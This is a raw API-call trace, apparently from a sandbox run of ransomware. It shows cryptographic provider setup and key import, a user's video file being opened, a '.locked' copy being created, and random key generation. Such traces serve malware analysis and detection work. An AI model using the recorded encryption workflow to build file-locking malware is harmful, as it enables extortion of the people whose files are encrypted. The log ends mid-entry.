(param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0137.990] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0137.990] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.991] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3Y੎촢럝") returned 0x20 [0137.991] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.991] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0137.991] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0137.991] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.991] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YT촢럝") returned 0x20 [0137.991] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.991] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0137.991] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0137.991] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.991] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZ럝") returned 0x20 [0137.991] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.991] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0137.991] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0137.991] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.991] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZl") returned 0x20 [0137.991] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.991] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0137.991] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0137.991] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0137.991] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x28 [0137.991] SystemFunction041 (in: Memory=0x8ec010c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec010c) returned 0x0 [0137.991] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYᘎ柟፽굥ᑋ") returned 0x28 [0137.992] SystemFunction040 (in: Memory=0x8ec010c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec010c) returned 0x0 [0137.992] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0137.992] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0137.992] SystemFunction041 (in: Memory=0x8ec010c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec010c) returned 0x0 [0137.992] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYm柟፽굥ᑋ") returned 0x28 [0137.992] SystemFunction040 (in: Memory=0x8ec010c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec010c) returned 0x0 [0137.992] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0137.992] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0137.992] SystemFunction041 (in: Memory=0x8ec010c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec010c) returned 0x0 [0137.992] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY፽굥ᑋ") returned 0x28 [0137.992] SystemFunction040 (in: Memory=0x8ec010c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec010c) returned 0x0 [0137.992] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0137.992] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0137.992] SystemFunction041 (in: Memory=0x8ec010c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec010c) returned 0x0 [0137.992] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0፽굥ᑋ") returned 0x28 [0137.992] SystemFunction040 (in: Memory=0x8ec010c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec010c) returned 0x0 [0137.992] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0137.992] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0137.992] SystemFunction041 (in: Memory=0x8ec010c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec010c) returned 0x0 [0137.992] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0N굥ᑋ") returned 0x28 [0137.992] SystemFunction040 (in: Memory=0x8ec010c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec010c) returned 0x0 [0137.993] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0137.993] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0137.993] SystemFunction041 (in: Memory=0x8ec010c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec010c) returned 0x0 [0137.993] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTᑋ") returned 0x28 [0137.993] SystemFunction040 (in: Memory=0x8ec010c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec010c) returned 0x0 [0137.993] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0137.993] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0137.993] SystemFunction041 (in: Memory=0x8ec010c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec010c) returned 0x0 [0137.993] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTAᑋ") returned 0x28 [0137.993] SystemFunction040 (in: Memory=0x8ec010c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec010c) returned 0x0 [0137.993] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0137.993] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0137.993] SystemFunction041 (in: Memory=0x8ec010c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec010c) returned 0x0 [0137.993] SystemFunction040 (in: Memory=0x8ec010c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec010c) returned 0x0 [0137.993] SystemFunction041 (in: Memory=0x8e316c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e316c4) returned 0x0 [0137.993] SystemFunction040 (in: Memory=0x8e316c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e316c4) returned 0x0 [0137.993] SystemFunction041 (in: Memory=0x8e316c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e316c4) returned 0x0 [0137.994] SystemFunction040 (in: Memory=0x8e316c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e316c4) returned 0x0 [0137.994] SystemFunction041 (in: Memory=0x8e316c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e316c4) returned 0x0 [0137.994] SystemFunction040 (in: Memory=0x8e316c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e316c4) returned 0x0 [0137.994] SystemFunction041 (in: Memory=0x8e316c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e316c4) returned 0x0 [0137.994] SystemFunction040 (in: Memory=0x8e316c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e316c4) returned 0x0 [0137.994] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2b, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.994] SystemFunction041 (in: Memory=0x8e316c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e316c4) returned 0x0 [0137.994] SystemFunction040 (in: Memory=0x8e316c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e316c4) returned 0x0 [0137.995] CryptAcquireContextW (in: phProv=0x99ae630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae630*=0x43969b0) returned 1 [0137.995] CryptImportKey (in: hProv=0x43969b0, pbData=0x6bad474, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x99aea04 | out: phKey=0x99aea04*=0x8e84c38) returned 1 [0137.995] CryptContextAddRef (hProv=0x43969b0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0137.995] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0137.996] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2c, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.996] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2b, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.996] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2c, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2c, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.999] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\tQvzXdA-wIPGe25N-.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\hcep6\\tqvzxda-wipge25n-.mp4")) returned 0x20 [0137.999] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\tQvzXdA-wIPGe25N-.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\hcep6\\tqvzxda-wipge25n-.mp4")) returned 0x20 [0138.000] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2c, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.000] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0138.000] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2d, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.000] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2c, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.000] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2d, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2d, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.001] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0138.001] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\tQvzXdA-wIPGe25N-.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\hcep6\\tqvzxda-wipge25n-.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x764 [0138.001] GetFileType (hFile=0x764) returned 0x1 [0138.001] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0138.001] GetFileType (hFile=0x764) returned 0x1 [0138.001] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2d, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.001] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x1000\x727a\xe48c\x99a\x2810\x64b\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\x20") returned 0x0 [0138.001] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2e, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.002] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2d, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.002] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2e, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2e, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.003] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0138.003] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\tQvzXdA-wIPGe25N-.mp4.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\hcep6\\tqvzxda-wipge25n-.mp4.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0138.003] GetFileType (hFile=0x778) returned 0x1 [0138.003] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0138.003] GetFileType (hFile=0x778) returned 0x1 [0138.004] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2e, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.004] CryptGenRandom (in: hProv=0x43969b0, dwLen=0x10, pbBuffer=0x6bcc6e8 | out: pbBuffer=0x6bcc6e8) returned 1 [0138.004] CryptContextAddRef (hProv=0x43969b0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0138.004] CryptDuplicateKey (in: hKey=0x8e84c38, pdwReserved=0x0, dwFlags=0x0, phKey=0x99ae798 | out: phKey=0x99ae798*=0x8e84e38) returned 1 [0138.004] CryptContextAddRef (hProv=0x43969b0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0138.004] CryptSetKeyParam (hKey=0x8e84e38, dwParam=0x4, pbData=0x6bcd9a4*=0x1, dwFlags=0x0) returned 1 [0138.004] CryptSetKeyParam (hKey=0x8e84e38, dwParam=0x1, pbData=0x6bcd970, dwFlags=0x0) returned 1 [0138.004] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x18b2\x7477\x1560\x438\x24a") returned 0x0 [0138.004] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2f, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.004] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2e, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.004] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2f, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: 